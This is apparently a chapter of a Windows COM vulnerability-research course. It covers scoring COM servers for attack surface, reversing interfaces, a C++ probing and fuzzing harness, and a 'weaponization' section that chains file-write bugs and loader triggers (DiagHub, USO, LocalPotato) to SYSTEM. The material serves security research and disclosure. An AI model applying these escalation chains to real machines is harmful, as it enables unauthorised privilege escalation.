3. **Reachable ACLs.** `LaunchPermission` + `AccessPermission` (or machine defaults under `HKLM\SOFTWARE\Microsoft\Ole`) include your principal: `Authenticated Users` (S-1-5-11), `INTERACTIVE` (S-1-5-4), or AppContainer/LPAC capability SIDs for sandbox escapes. DiagHub's launch SDDL literally contained `(A;;CCDCSW;;;AU)` — Authenticated Users ([3]).
|
||||||
|
4. **Dangerous methods.** Interface methods that touch: filesystem paths (`CreateFile`, `MoveFile`, delete/rename), the registry, process creation, `LoadLibrary*`/`GetProcAddress`, `SetNamedSecurityInfo`/ACL APIs, token APIs — or that **accept interface pointers** (callback-impersonation pattern: DCOMPotato's attacker-supplied `IUnknown` impersonates the SYSTEM caller inside its own `QueryInterface`) or **return objects** (trapped-object pattern: the returned reference stays live in the server ([4])).
|
||||||
|
5. **Marshaling trust.** Class implements `IMarshal` (potato criterion ([16])), is marshaled TypeLib-driven via `PSOAInterface` `{00020424-0000-0000-C000-000000000046}` (type-library substitution applies), or its `Interface\{IID}\ProxyStubClsid32` can be shadowed per-user (a DLL into both endpoints).
|
||||||
|
6. **Bonus multipliers.** `IDispatch`/`dual` present (type-info vector — `ITypeInfo::CreateInstance` instantiates server-side ([4])); .NET COM interop (loads the CLR into the server); `RunAs=Interactive User` (cross-session); `Elevation\Enabled=1` (UAC elevation-moniker surface ([37])); server binary unsigned or third-party (patch-cycle lag).
|
||||||
|
|
||||||
|
### 3.2 Scored triage table *(illustrative scoring)*
|
||||||
|
|
||||||
|
The weights below are a starting heuristic, not ground truth — calibrate them against your own hit rate.
|
||||||
|
|
||||||
|
| Signal | Where you read it | Points *(illustrative)* |
|
||||||
|
|---|---|---|
|
||||||
|
| OOP server (LocalServer32 / service AppID / surrogate) | OleViewDotNet `.Servers`, AppID entry | +3 |
|
||||||
|
| Runs as SYSTEM | AppID `LocalService`, service config | +3 |
|
||||||
|
| LOCAL/NETWORK SERVICE identity (potato hop) | AppID / service config | +2 |
|
||||||
|
| Launch+Access ACLs include AU / INTERACTIVE / LPAC | OVDN View Permissions | +3 |
|
||||||
|
| Method takes a path/URL/command string | Proxy definition / typelib | +2 |
|
||||||
|
| Method wraps `LoadLibrary*`, process creation, or `SetNamedSecurityInfo` | Static RE (§4) | +3 |
|
||||||
|
| Method accepts an interface-pointer argument | Proxy definition | +2 |
|
||||||
|
| Method returns an object reference | Proxy definition | +2 |
|
||||||
|
| `IDispatch`/dual interface | `Get-ComInterface`, `IsDispatch` | +2 |
|
||||||
|
| Implements `IMarshal` | Interface list | +1 |
|
||||||
|
| TypeLib-driven marshaling (`PSOAInterface` proxy) | `HKCR\Interface\{IID}\ProxyStubClsid32` | +1 |
|
||||||
|
| .NET interop (`mscoree.dll` InprocServer32) | Registry | +1 |
|
||||||
|
| `RunAs = Interactive User` | AppID entry / OVDN filter | +2 |
|
||||||
|
| Server is PPL (`.AppIDEntry.ServiceProtectionLevel`) | OleViewDotNet | +1 (PPL-class impact) |
|
||||||
|
|
||||||
|
> **Key idea:** Read the table historically: DiagHub scores on rows 1, 2, 3, 4, 5; UPnP CVE-2019-1405 on 1, 2, 3, 4; the StdFont trapped-object chain needed only rows 4 (returns object), 5, and 6 (`IDispatch`). No published bug needed every row — three or four of the heavy ones suffice. Kill anything scoring 0 on rows 1–3 unless you are specifically hunting hijacks.
|
||||||
|
|
||||||
|
For persistence-style targets (chapter 05) the analogous score is: **trigger frequency x host desirability x breakage risk** — count `RegOpenKey` hits per CLSID per process per hour from a ProcMon boot trace (or hijack several candidates with a logging DLL, acCOMplice `Hijack-MultipleKeys`-style), prefer explorer/browsers/taskhostw over niche hosts, and prefer orphaned/abandoned/undefined classes that a Windows update will not re-register ([31]).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Stage 3 — Static reverse engineering
|
||||||
|
|
||||||
|
Static RE answers two questions per candidate: **what are the exact method signatures** (so you can call them) and **where does the server mishandle trust** (so you know what to call). The canonical recipe is the one Forshaw used against DiagHub ([3]), generalized below, with itm4n's USO service work ([5], [6]) as the second reference implementation.
|
||||||
|
|
||||||
|
### 4.1 The DiagHub recipe, generalized
|
||||||
|
|
||||||
|
1. **Instantiate and inspect.** In OleViewDotNet, create an instance of the class → right-click → *Marshal ⇒ View Properties*. Capture the **PID** of the hosting process, the **IPID** (per-interface-pointer GUID), the **OXID** (object exporter), the string bindings, and the authentication services. This proves the object is OOP and names its host.
|
||||||
|
2. **Get the server-side vtable address.** OleViewDotNet's process view (needs admin plus configured symbols: dbghelp from the WinDbg install and `srv*https://msdl.microsoft.com/download/symbols`) → find your IPID entry → it shows the interface pointer and the **server-side VTable address**, e.g. `DiagnosticsHub_StandardCollector_Runtime+0x36C78` for DiagHub.
|
||||||
|
3. **Symbolize the vtable.** Attach WinDbg to the server process and dump the vtable with `dqs <module>+<offset> L<nMethods>` — Microsoft public symbols resolve the slots to real names. DiagHub's `IStandardCollectorService` (IID `0D8AF6B7-EFD5-4F6D-A834-314740AB8CAA`) yielded `CreateSession`, `GetSession`, `DestroySession`, `DestroySessionAsync`, `AddLifetimeMonitorProcessIdForSession` exactly this way ([3]):
|
||||||
|
|
||||||
|
```text
|
||||||
|
0:019> dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8
|
||||||
|
```
|
||||||
|
|
||||||
|
4. **Recover signatures from the wire format.** OleViewDotNet's **View Proxy Definition** decompiles the NDR "stubless" bytecode of the proxy into method signatures; the **Structures tab** gives marshaled struct layouts. Rebuild the interface in C++/C# from these. For DiagHub this produced the `SessionConfiguration` struct and `CreateSession`/`AddAgent` prototypes the exploit needed.
|
||||||
|
5. **Reconcile with disassembly.** In IDA/Ghidra: xref command/operation strings (itm4n found `"StartScan"` in `usosvc.dll` and walked the xrefs into `PerformOperationOnSession()`/`PerformOperationOnManager()` ([6])); where CFG is present, map `_guard_dispatch_icall_fptr` indirect calls to vtable slots with dynamic breakpoints; match client-side proxy slots (`ObjectStublessClientN`) to server-side symbols so client slot *N* = server function you are reading.
|
||||||
|
6. **Hunt the failure modes** (this is the actual bug list; every one is a published bug class):
|
||||||
|
|
||||||
|
| Failure mode in server code | Historical instance |
|
||||||
|
|---|---|
|
||||||
|
| Missing `CoImpersonateClient`/`RpcImpersonateClient` around a privileged op | Classic privileged-file-operation class |
|
||||||
|
| Impersonate → check → `RevertToSelf` → *then* write | StorSvc `SvcMoveFileInheritSecurity` ([3]) |
|
||||||
|
| Accepting an identify-level token where impersonation is required | Potato CLSID hardening regression space ([9]) |
|
||||||
|
| Device-map / symlink / hard-link handling while impersonating | CVE-2019-0841 AppXSvc, StorSvc hard links ([3]) |
|
||||||
|
| Path validation that constrains directory but not extension/content | DiagHub `GetValidAgentPath` ([3]) |
|
||||||
|
| `RunAs` mismatch / missing client-identity verification | CVE-2017-0100 HelpPane ([46]) |
|
||||||
|
| Type-library trust (stub generated from attacker-controlled TLB) | NGEN type confusion, trapped objects ([24], [4]) |
|
||||||
|
| Unmarshal-by-reference of objects never meant to leave the server | CVE-2019-0555, CVE-2017-0211 ([4]) |
|
||||||
|
|
||||||
|
### 4.2 The USO variant — when the tool fails, pivot
|
||||||
|
|
||||||
|
itm4n's USO write-up is the honest version of this workflow ([5], [6]): `symchk` pulled PDBs first (symbols are leverage, always try); string xref on `"StartScan"` located the trigger path; OleViewDotNet then **failed to expand the object** (`ClassFactory cannot supply requested class`) — and the research continued anyway, client-side: breakpoint on `_guard_dispatch_icall_fptr` after `CoCreateInstance`, `dqs` on the client proxy vtable (`usoapi!IUpdateSessionOrchestratorProxyVtbl`), then match `ObjectStublessClientN` slots against server symbols in `usosvc.dll`. The result was the full map of `IUpdateSessionOrchestrator` (`{07F3AFAC-7C8A-4CE7-A5E0-3D24EE8A77E0}`: `CreateUpdateSession`, `GetCurrentActiveUpdateSessions`, `LogTaskRunning`, `CreateUxUpdateManager`, `CreateUniversalOrchestrator`) and the 68-method `IUsoSessionCommon` (`{FCCC288D-B47E-41FA-970C-935EC952F4A4}`), with `VTable[21]` identified as the StartScan trigger.
|
||||||
|
|
||||||
|
> **Key idea:** OleViewDotNet failing on a class is information, not a dead end. `ClassFactory cannot supply requested class` means the activation path itself is unusual (locked-down factory, wrong CLSCTX, interface-only marshaling) — switch to client-side dynamic analysis of the proxy and read the server from the disassembler.
|
||||||
|
|
||||||
|
> **Warning:** WinDbg-attaching to a SYSTEM service freezes its threads while broken in; RPCSS garbage-collects OXIDs on missed pings, and some services watchdog-restart. Snapshot the VM first, and prefer non-invasive attach (`-pv`) when you only need `dqs`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Stage 4 — Dynamic analysis harness
|
||||||
|
|
||||||
|
Static reading tells you what the server *can* do; the harness tells you what it *actually does when you call it*, under which token, touching which paths. The harness is deliberately minimal: a C++ client you control argument-by-argument, plus observation tooling on the server process.
|
||||||
|
|
||||||
|
### 5.1 The minimal client skeleton
|
||||||
|
|
||||||
|
The shape comes directly from the published DiagHub/USO clients ([3], [6]): initialize, activate OOP, **offer impersonation**, then call methods with controlled inputs. The `CoSetProxyBlanket(... RPC_C_IMP_LEVEL_IMPERSONATE ...)` call is not ceremony — itm4n's StartScan flow required it, because a server can only impersonate a client that lets it (the impersonation contract of chapter 03).
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// Minimal COM method-probing client (after itm4n's USO "StartScan" flow ([6]))
|
||||||
|
CoInitializeEx(0, COINIT_MULTITHREADED);
|
||||||
|
CoCreateInstance(CLSID_TargetClass, nullptr, CLSCTX_LOCAL_SERVER,
|
||||||
|
IID_PPV_ARGS(&service));
|
||||||
|
service->LogTaskRunning(L"Probe"); // any bookkeeping call
|
||||||
|
service->CreateSession(1, &IID_ISessionItf, &session); // obtain the interesting interface
|
||||||
|
CoSetProxyBlanket(session, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||||
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL);
|
||||||
|
session->TheMethod(0, 0, L"C:\\Users\\Public\\probe.txt"); // controlled inputs here
|
||||||
|
CoUninitialize();
|
||||||
|
```
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// Generic one-method-per-argument sweep (illustrative)
|
||||||
|
// For each method M and each string argument A: call M with A set to a
|
||||||
|
// canary path; log HRESULT; check ProcMon for the canary appearing in the
|
||||||
|
// server's file/registry operations.
|
||||||
|
HRESULT hr = E_FAIL;
|
||||||
|
for (auto& m : methods) {
|
||||||
|
for (auto& arg : m.stringArgs) {
|
||||||
|
hr = m.invoke(canaryPath(arg));
|
||||||
|
log(m.name, arg.index, hr); // non-E_INVALIDARG HRESULTs = arg parsed
|
||||||
|
}
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Beginner note:** `CoSetProxyBlanket` sets per-proxy security (it wraps `IClientSecurity::SetBlanket`): which authentication level and *impersonation level* the server gets on calls through that one proxy. `RPC_C_IMP_LEVEL_IDENTIFY` (2) lets the server only identify you — its token cannot access objects; `RPC_C_IMP_LEVEL_IMPERSONATE` (3) lets it act as you locally. If a bug needs the server to touch your files as you, offer 3.
|
||||||
|
|
||||||
|
### 5.2 Observation stack
|
||||||
|
|
||||||
|
| Tool | Configuration | What it proves |
|
||||||
|
|---|---|---|
|
||||||
|
| ProcMon | Filter: server PID (from §4 step 1); watch file/registry/LoadImage operations | Which paths the server touches **as its own identity**; canary strings reaching `CreateFile` |
|
||||||
|
| API Monitor | Hook the server binary | Parameter-level view of `CreateFileW`/`LoadLibraryExW`/registry calls |
|
||||||
|
| WinDbg breakpoints | `CoImpersonateClient`, `RpcImpersonateClient`, `CoRevertToSelf`, `CreateFileW`, `RegCreateKeyExW`, `LoadLibraryExW`, `SetNamedSecurityInfo` | Whether the server impersonates *at all*, and whether the sensitive call happens **before or after revert** (the late-impersonation bug pattern) |
|
||||||
|
| TokenViewer (Forshaw) | Inspect the token the server captured | Impersonation vs Identification token — the #1 cause of "exploit didn't work" confusion (early RoguePotato experiments captured "useless" Identification tokens ([12])) |
|
||||||
|
| ETW | `Microsoft-Windows-RPC` (`{6AD52B32-D609-4BE9-AE07-CE8DAE937E39}`, Debug — EID 5/6 give InterfaceUuid/OpNum/Protocol/Endpoint), `Microsoft-Windows-RPC-Events` (`{F4AED7C7-A898-4627-B053-44A7CAA12FCD}`), `Microsoft-Windows-RPCSS` (`{D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}`), `Microsoft-Windows-COMRuntime` (`{BF406804-6AFA-46E7-8A48-6C357E1D6D61}`, verbose) | Activation and call tracing without a debugger; which interface/opnum your client actually reached |
|
||||||
|
|
||||||
|
Enable the COMRuntime provider (plus the RPC providers) for activation tracing before each run; for cross-checking the wire, Wireshark's `dcom`/`dcerpc` dissectors find the `MEOW` signature of marshaled references. The full ProcMon filter set for hijack-style targets is the phantom set from §2.2 (`Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32`, `Result = NAME NOT FOUND`).
|
||||||
|
|
||||||
|
### 5.3 What you are looking for
|
||||||
|
|
||||||
|
- **Token sequencing:** breakpoint hits on `CreateFileW`/`SetNamedSecurityInfo`/`LoadLibraryExW` with no preceding `CoImpersonateClient` (missing impersonation), or after `CoRevertToSelf` (late impersonation — the StorSvc pattern ([3])).
|
||||||
|
- **Identity of file ops:** ProcMon shows the op performed as SYSTEM against your canary path in a user-writable directory.
|
||||||
|
- **Reachability of dangerous paths:** your string argument landing verbatim in a `LoadLibraryExW` path or a command line.
|
||||||
|
- **Reference leaks:** the returned proxy's `Get-ComObjRef` showing an object living in the server that the design never intended to expose (trapped-object lead ([4])).
|
||||||
|
|
||||||
|
> **OpSec:** A harness is noisy by design — rapid-fire activation, odd arguments, debugger processes. Run it in a snapshot-isolated VM. The same telemetry that helps you (ETW RPC EID 5/6, ProcMon canaries) is what a defender uses, so the harness doubles as a detection-engineering data source: record what every probe looks like in the logs for the report (§8).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Stage 5 — Fuzzing COM interfaces
|
||||||
|
|
||||||
|
Logical bugs (Stages 3–5) pay best, but COM interfaces are also a memory-corruption surface: every OOP call is attacker-controlled NDR bytes being unmarshaled in a privileged process — the exact layer OleViewDotNet decompiles in *View Proxy Definition*. WalletService's CVE-2020-1362 is the proof of concept for the whole category: `Wallet::WalletCustomProperty::SetGroup` OOB write over DCOM → `SetLabel` BSTR pointer write-what-where → fake vtable → virtual call redirected into `dxgi` code whose `LoadLibraryExW` uses a writable global path → SYSTEM ([42]).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the harness loop — create a valid object, iterate interface/method pairs from the recovered signatures (§4), mutate typed arguments (BSTR paths, SAFEARRAY bounds, VARIANT types, IStream blobs, fake interface pointers), log every HRESULT, and let a crash monitor (page heap + AppVerifier + debugger + WER) catch faults, feeding interesting inputs back into the corpus.*
|
||||||
|
|
||||||
|
### 6.1 Mutation strategies that match the marshaling layer
|
||||||
|
|
||||||
|
1. **Raw NDR buffer mutation.** Interpose between proxy and channel and mutate the marshaled buffer before it reaches the server's **NDR interpreter stubs** (the stubless-engine layer). Watch for OOB reads/writes in server-side unmarshaling (the WalletService class) and for marshal-by-reference object leaks (§5.3). Because signatures come from §4, you know which bytes are length fields, pointers, and conformant-array bounds.
|
||||||
|
2. **Typed argument mutation.** Higher yield per call, because the arguments are semantically typed:
|
||||||
|
|
||||||
|
| Argument type | Mutations *(illustrative test list)* | Historical rationale |
|
||||||
|
|---|---|---|
|
||||||
|
| `BSTR` path/URL strings | Overlong strings, embedded NULs, `\??\` and device paths, junction/symlink targets, non-existent extensions on valid directories | DiagHub extension-agnostic load ([3]); USO non-existent DLL ([5]); mock-directory normalization desync |
|
||||||
|
| `SAFEARRAY` | Bounds/count fields desynced from payload size; multidimensional edge cases | Conformant-array handling in the NDR engine |
|
||||||
|
| `VARIANT` | Type-tag vs payload confusion (tag says `VT_BSTR`, payload is a pointer-sized integer); nested arrays; `VT_UNKNOWN`/`VT_DISPATCH` carrying unexpected pointers | TLB/proxy type-confusion family ([24], [4]) |
|
||||||
|
| `IStream`/`IStorage` blobs | Truncated streams, negative sizes, streams whose content is a second marshaled object | `CoGetInstanceFromIStorage` OBJREF forgery lineage ([8]) |
|
||||||
|
| Interface pointers | Fake/foreign interface pointers, pointers to objects of the wrong class, freed-then-reused pointers | Callback-impersonation (DCOMPotato) and trapped-object classes ([4]) |
|
||||||
|
|
||||||
|
3. **Interface brute-calling (poor-man's fuzzer).** The OleViewDotNet PowerShell loop — `New-ComObject` + reflection-driven method invocation with generated arguments — requires zero harness code and is exactly what the incendium.rocks automation formalized: registry → JSON of interfaces/methods → automated `Invoke` ([2]). OleViewDotNet builds the dynamic `IDispatch` stubs; you supply the argument generator and the logging.
|
||||||
|
|
||||||
|
### 6.2 What the field already built
|
||||||
|
|
||||||
|
- **COMRace** (USENIX Security '22) — data-race detection in COM objects; races matter because MTA-hosted objects are called on arbitrary RPC thread-pool threads and must self-synchronize ([39]).
|
||||||
|
- **Black Hat EU 2024, "Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways"** — harness-generation research for RPC/COM fuzzing ([40]).
|
||||||
|
- **RPC-aware fuzzing driven from IDA-generated clients** — the manual version of the same idea: reverse the interface (§4), generate the client, fuzz through it.
|
||||||
|
|
||||||
|
### 6.3 Crash triage setup
|
||||||
|
|
||||||
|
The monitor stack shown in Figure 2 is page heap + AppVerifier on the server process, a debugger (or time-travel trace) attached for first-chance exceptions, and WER as the collection backstop. The briefs underlying this course do not specify exact configuration flags, so treat the specific `gflags`/AppVerifier settings as **(verify in lab)** against your Windows build before relying on them. What the course case studies do establish: crashes inside `ole32`/`combase` unmarshaling or inside the server method itself are the signal; crashes in your own proxy are harness bugs — filter by faulting module before investing in root cause.
|
||||||
|
|
||||||
|
> **Warning:** Fuzzing a SYSTEM service will, by design, crash it. Some services are marked critical — a fault can bugcheck the box or leave the service dead until reboot. Snapshot the VM, fuzz one interface at a time, and keep the corpus so every crash is replayable.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Stage 6 — From crash or lead to a proven primitive
|
||||||
|
|
||||||
|
A crash or an odd HRESULT is not a finding. A finding is a **primitive**: a repeatable statement like "any local user can cause an arbitrary file write as SYSTEM" with a PoC that proves it. The taxonomy below maps raw leads onto this course's bug classes, with the historical proof for each — use it to route your lead to the right proving strategy.
|
||||||
|
|
||||||
|
### 7.1 Outcome taxonomy, mapped to the course's bug classes
|
||||||
|
|
||||||
|
| Lead (what you observed) | Bug class | Proven primitive | Historical proof |
|
||||||
|
|---|---|---|---|
|
||||||
|
| Server touches attacker paths without (or after) impersonation | Missing/late impersonation | Arbitrary file write / ACL set as SYSTEM | StorSvc `SvcMoveFileInheritSecurity` + hard links → `SetNamedSecurityInfo` applies attacker ACEs to any file SYSTEM can `WRITE_DAC` (P0 1427/1428) ([3]) |
|
||||||
|
| Method loads libraries/executables from partially-controlled paths | Dangerous method exposed to everyone | Code execution as server identity | DiagHub `AddAgent` ([3]); UPnP `IUPnPContainerManager` command exec as LOCAL SERVICE, CVE-2019-1405 ([7]) |
|
||||||
|
| Returned proxy references an object still living in the server | Trapped object | Server-side `CoCreateInstance` of attacker-chosen classes | `IDispatch::GetTypeInfo` → `ITypeInfo::CreateInstance` → StdFont planted inside the service; chained to .NET `Assembly.Load` in PPL ([4]) |
|
||||||
|
| Stub built from attacker-influenced type library | TypeLib/proxy confusion | Type confusion in server stub; unsigned code in protected processes | NGEN `ICorSvcPooledWorker::CanReuseProcess` integer-as-pointer → KnownDlls aliasing → PPL injection ([24]) |
|
||||||
|
| Registry shadow/redirect loads attacker code | Registry hijack | Execution inside any process that activates the class, incl. elevated/PPL hosts | Per-user CLSID/`TreatAs`/`TypeLib` hijacks (chapters 04–05); StdFont `TreatAs` → `System.Object` ([4]) |
|
||||||
|
| Server calls into an attacker-implemented callback object | Callback impersonation | Server's token captured in-process | DCOMPotato/PrintNotifyPotato: fake `IUnknown` callback, `CoImpersonateClient()` inside `QueryInterface` impersonates the SYSTEM caller |
|
||||||
|
| `RunAs=Interactive User` class reachable cross-session | Cross-session activation / missing client verification | Code in another user's/session's context | CVE-2017-0100 HelpPane ([46]); CVE-2023-33127 PhoneExperienceHost chain ([11]) |
|
||||||
|
| Memory-corruption crash in unmarshaling or method body | NDR/argument corruption | Controlled write → fake vtable → code exec | CVE-2020-1362 WalletService BSTR write-what-where ([42]) |
|
||||||
|
|
||||||
|
### 7.2 How "proven" looks for each class
|
||||||
|
|
||||||
|
- **File write:** demonstrate creation/content control of a file at a SYSTEM-writable-only path (the DiagHub chain used `C:\Windows\System32\license.rtf`, chosen as a non-TrustedInstaller-owned, non-critical System32 file — candidates enumerated with NtObjectManager's `Get-AccessibleFile -AccessRights WriteDac` against the StorSvc process token ([3])).
|
||||||
|
- **Server-side instantiation:** `Get-ComObjRef` on the returned object must show the hosting PID is the *service* process — that single screenshot is the trapped-object proof ([4]); public third-party PoCs by Fakroud and IBM X-Force reproduce the chain end-to-end ([20], [21]).
|
||||||
|
- **Type confusion:** show the server stub interpreting your controlled input as a pointer (crash with your value in a dereferenced register), then escalate to a controlled write.
|
||||||
|
- **Callback impersonation:** inside your callback, `OpenThreadToken` and print the user — if it reads SYSTEM, the primitive is proven; TokenViewer removes all doubt (§5.2).
|
||||||
|
- **Memory corruption:** faulting address controlled by an input field; then the CVE-2020-1362 template (OOB → write-what-where → fake vtable → loader hijack) ([42]).
|
||||||
|
|
||||||
|
### 7.3 Reliability work (where most PoCs actually live)
|
||||||
|
|
||||||
|
- **STA pumping.** If your client or callback object lives in an STA, you *must* pump messages (`GetMessage`/`DispatchMessage`) or cross-apartment calls hang — and the reentrancy window during an outgoing call is where callback impersonation lands. Raymond Chen's write-up of COM failing to pump in a single-threaded apartment is the canonical failure narrative ([45]). Put exploit threads in the MTA unless you specifically need STA reentrancy.
|
||||||
|
- **Session / window-station issues.** Spawning a process from a captured service token hits Session-0 window-station permission problems; RoguePotato's final `CreateProcessAsUser` step required a Session-0 window-station permission fix ([12]), and its SYSTEM token was kidnapped from the rpcss logon session that NETWORK SERVICE shares with SYSTEM-token-holding threads ([19]). Cross-session activations likewise depend on *which* session is currently interactive ([11]).
|
||||||
|
- **Token type math.** `CreateProcessWithTokenW` needs an impersonate-capable primary-token duplicate; `CreateProcessAsUser` needs `SeAssignPrimaryTokenPrivilege`; an Identification token is a dead end for both — verify the captured token in TokenViewer before writing the spawn code ([12]).
|
||||||
|
- **Ping/liveness.** Holding OBJREFs across long analysis sessions fails silently: missed pings let the server garbage-collect stubs. Re-resolve OXIDs on long runs.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Stage 7 — Weaponization and reporting
|
||||||
|
|
||||||
|
### 8.1 The full-chain template
|
||||||
|
|
||||||
|
The course's two end-to-end chains (DiagHub, USO) share one template; every new primitive you prove should be driven through the same four stages:
|
||||||
|
|
||||||
|
1. **Primitive** — the thing Stage 6 proved (arbitrary file write, server-side instantiation, token capture, type confusion).
|
||||||
|
2. **File write (if not already code execution)** — overwrite a loadable artifact in a privileged location. The canonical target properties: System32-resident, not TrustedInstaller-owned, not system-critical. DiagHub's worked example used `C:\Windows\System32\license.rtf` ([3]); LocalPotato's write primitive was aimed at `SprintCSP.dll` or `printconfig.dll` ([14]).
|
||||||
|
3. **Loader trigger** — a COM/RPC method that loads or executes the planted artifact *as the privileged identity*, ideally **outside `DllMain`/loader lock**: DiagHub `AddAgent("license.rtf", guid)` (the service calls `DllGetClassObject` after load ([3])); USO's `windowscoredeviceinfo.dll` load on Update Session creation, triggered by `usoclient.exe StartScan` or directly over COM (the service calls a specific export after load ([5], [6])); `SprintCSP.dll` + `SvcRebootToFlashingMode`, or overwrite `printconfig.dll` and instantiate PrintNotify ([14]).
|
||||||
|
4. **SYSTEM** — payload runs in the service context; if you captured a token instead, apply §7.3's token math.
|
||||||
|
|
||||||
|
```text
|
||||||
|
primitive ──► file write ──► loader trigger ──► SYSTEM
|
||||||
|
StorSvc ACL license.rtf DiagHub AddAgent DllGetClassObject as SYSTEM ([3])
|
||||||
|
any write windowscoredeviceinfo.dll USO session create export call as SYSTEM ([5])
|
||||||
|
LocalPotato SMB SprintCSP.dll SvcRebootToFlashingMode service as SYSTEM ([14])
|
||||||
|
```
|
||||||
|
|
||||||
|
> **Key idea:** Microsoft keeps killing stage 3 (`ProcessImageLoadPolicy`, `VerifyTrust`, KnownDlls changes) because stages 1–2 are cheap to find. Budget your research time accordingly: a standing list of *fresh loader triggers* is the reusable asset; the file-write bugs that feed them are renewable.
|
||||||
|
|
||||||
|
### 8.2 Reporting norms (as supported by the course's documented cases)
|
||||||
|
|
||||||
|
- **Know the boundary rules before you write.** Microsoft's servicing criteria decide whether your finding gets a CVE: UAC is explicitly *not* a hard security boundary ("we don't consider UAC a hard security boundary, but rather, a customizable enhancement" — MSRC case 64957, per Kanthak ([43])); PPL-only escapes get no CVEs/bounties, with fixes shipped late in new Windows versions ([4], [24]); integrity levels are not a security boundary either — the lesson of the CVE-2017-0298 bad fix, where HelpPane compared integrity levels instead of verifying the caller's admin membership. The LocalPotato HTTP/WebDAV scenario was left unpatched as an explicit Microsoft decision ([15]). Servicing-criteria link: ([44]).
|
||||||
|
- **Write the report like the ones that landed.** Forshaw's P0 issues are the model: mechanism-first (what trust assumption fails), minimal PoC, affected builds, and — critically — follow-up when the fix is wrong ("Bad Fix for COM Session Moniker EoP" became CVE-2017-0298). Track the fix: the 1809 OXID change was a *silent* `rpcss.dll` fix with no CVE, found by diffing ([9]).
|
||||||
|
- **Coordinated disclosure in practice (from the course corpus):** CVE-2015-2370 reported 2015-04-09 via Project Zero, patched as MS15-076 on 2015-07-14 ([8]); the trapped-COM-objects bug class was published as a *class* write-up after Microsoft declined boundary status ([4]); decoder's "No more rotten/juicy potato?" documented a silent mitigation publicly ([9]); CISA KEV later absorbed CVE-2017-0213 and CVE-2019-1388 — evidence that "not fixed" does not mean "not exploited."
|
||||||
|
- **Detection content is part of the deliverable.** Include the telemetry map with your PoC: which ETW providers fire (`Microsoft-Windows-RPC` EID 5/6 records InterfaceUuid/OpNum), which DistributedCOM events appear (10036–10038 for hardening refusals), which registry values change (`AllowDCOMReflection`/`OnlyUseLatestCLR` are high-fidelity trapped-COM artifacts). A finding that ships with its own detections gets patched — and credited — faster.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. The research backlog: open problems worth hunting
|
||||||
|
|
||||||
|
Every row below is an open direction *stated in the underlying research* — not speculation. The first experiment is sized to one lab day.
|
||||||
|
|
||||||
|
| Hypothesis | Why it might exist | First experiment |
|
||||||
|
|---|---|---|
|
||||||
|
| **Alternative `IDispatch` classes** beyond the documented five enable trapped-object chains without the PPL CLR-load limitation | Outflank's LLM-assisted enumeration found exactly such alternatives after the WaaSMedicSvc path failed on updated Win11; the failure is target-specific, not class-specific ([22]) | Re-run `Get-ComClass -Service` → `IsDispatch` filter across builds, SKUs, and third-party software; for each hit, walk `ReferencedTypeLibs` and test server-side `CreateInstance` of an in-proc CoClass |
|
||||||
|
| **Trapped-object variants beyond StdFont** | StdPicture has an OOP check; StdFont does not — registration checks are per-class, so other in-proc CoClasses in commonly referenced typelibs may share the gap; `stdole` is virtually always referenced, and Forshaw found no direct EoP in the font object itself, leaving the class under-explored ([4]) | Enumerate every CoClass in the referenced typelibs of each IDispatch server; instantiate each via the remote typelib and confirm host PID with `Get-ComObjRef` |
|
||||||
|
| **Reg-free COM manifest hijack** as a stealth path | Activation-context manifests resolve classes before the registry; entries are invisible to naive `HKCR` hunting and need no registry write at all | Inventory `%WinDir%\WinSxS\Manifests` for `comClass`/`comInterfaceExternalProxyStub` declarations; in a lab, plant an attacker manifest beside a side-loadable binary and observe resolution order |
|
||||||
|
| **WinRT broker surface** hides the next sandbox escape | Brokers are OOP COM servers with sandbox-facing activation permissions, registered under `HKLM\SOFTWARE\Microsoft\WindowsRuntime` where classic CLSID tooling cannot see them; CVE-2019-0555 is the precedent ([4]) | Enumerate `ActivatableClassId` server mappings; run the §3 triage checklist against broker AppIDs, prioritizing AppContainer-reachable ones |
|
||||||
|
| **Session/cross-session activation** still exposes interactive-user classes | `RunAs=Interactive User` instantiates the object in whatever session is interactive; the class produced CVE-2017-0100 and, a decade later, CVE-2023-33127 ([46], [11]) | Apply the OleViewDotNet "Run as: Interactive User" filter per build; activate each from a service session and document what client verification the server performs |
|
||||||
|
| **TypeLib script-moniker paths** survive as a load primitive | `LoadTypeLib` parses a non-TLB path as a moniker display name, so `script:` URLs execute from a "data" API; observed in the wild (ReliaQuest 2025) and in VS poisoning ([23], [35]) | Inventory high-frequency Automation LIBIDs (explorer touches SHDocVw `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` constantly); shadow per-user and record which processes load it and whether the `script:` string survives per-build hardening |
|
||||||
|
| **DCOM relay post-KB5004442** has exploitable boundaries | The floor stops relay *to* activation, but relay *from* DCOM still works (RemoteMonologue's `RunAs` tampering + UNC-dereferencing methods); the LocalPotato HTTP scenario is unpatched by decision; RemotePotato0 was "Won't Fix" ([26], [15], [27]) | Inventory methods that dereference UNC paths (the RemoteMonologue set: `ServerDataCollectorSet`, `FileSystemImage`, `UpdateSession`, MSTSWebProxy); test coercion from each with the PKT_INTEGRITY floor enforced |
|
||||||
|
